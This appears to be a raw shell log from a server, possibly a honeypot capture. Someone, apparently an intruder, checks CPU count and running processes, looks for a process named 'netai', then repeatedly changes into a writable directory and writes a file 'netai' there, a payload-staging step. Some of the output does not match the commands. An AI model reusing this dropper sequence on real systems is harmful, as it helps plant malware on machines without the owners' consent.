root@app-01:~# nproc
4
root@app-01:~# cut -d' ' -f1 /proc/uptime
root@app-01:~# ps -eo pid,pcpu,comm --sort=-pcpu | head -n 10
PID TTY TIME CMD
1 ?...... 00:00:02 /sbin/init
445 ?...... 00:00:01 /usr/sbin/sshd -D
534 ?...... 00:00:03 /usr/sbin/nginx: master process
623 ?...... 00:00:00 /usr/sbin/cron -f
712 ?...... 00:00:01 /usr/sbin/mariadbd
845 ?...... 00:00:00 php-fpm: master process
925 ?...... 00:00:00 php-fpm: pool www
926 ?...... 00:00:00 php-fpm: pool www
1523 pts/0.. 00:00:00 -bash
root@app-01:~# ps aux | grep netai | grep -v grep | wc -l
root@app-01:~# cd /dev/shm || cd /tmp || cd /var/run || cd /mnt || cd /root || cd / && cat > netai
root@app-01:/tmp# cd /dev/shm || cd /tmp || cd /var/run || cd /mnt || cd /root || cd / && cat > netai
root@app-01:/tmp# cd /dev/shm || cd /tmp || cd /var/run || cd /mnt || cd /root || cd / && cat > netai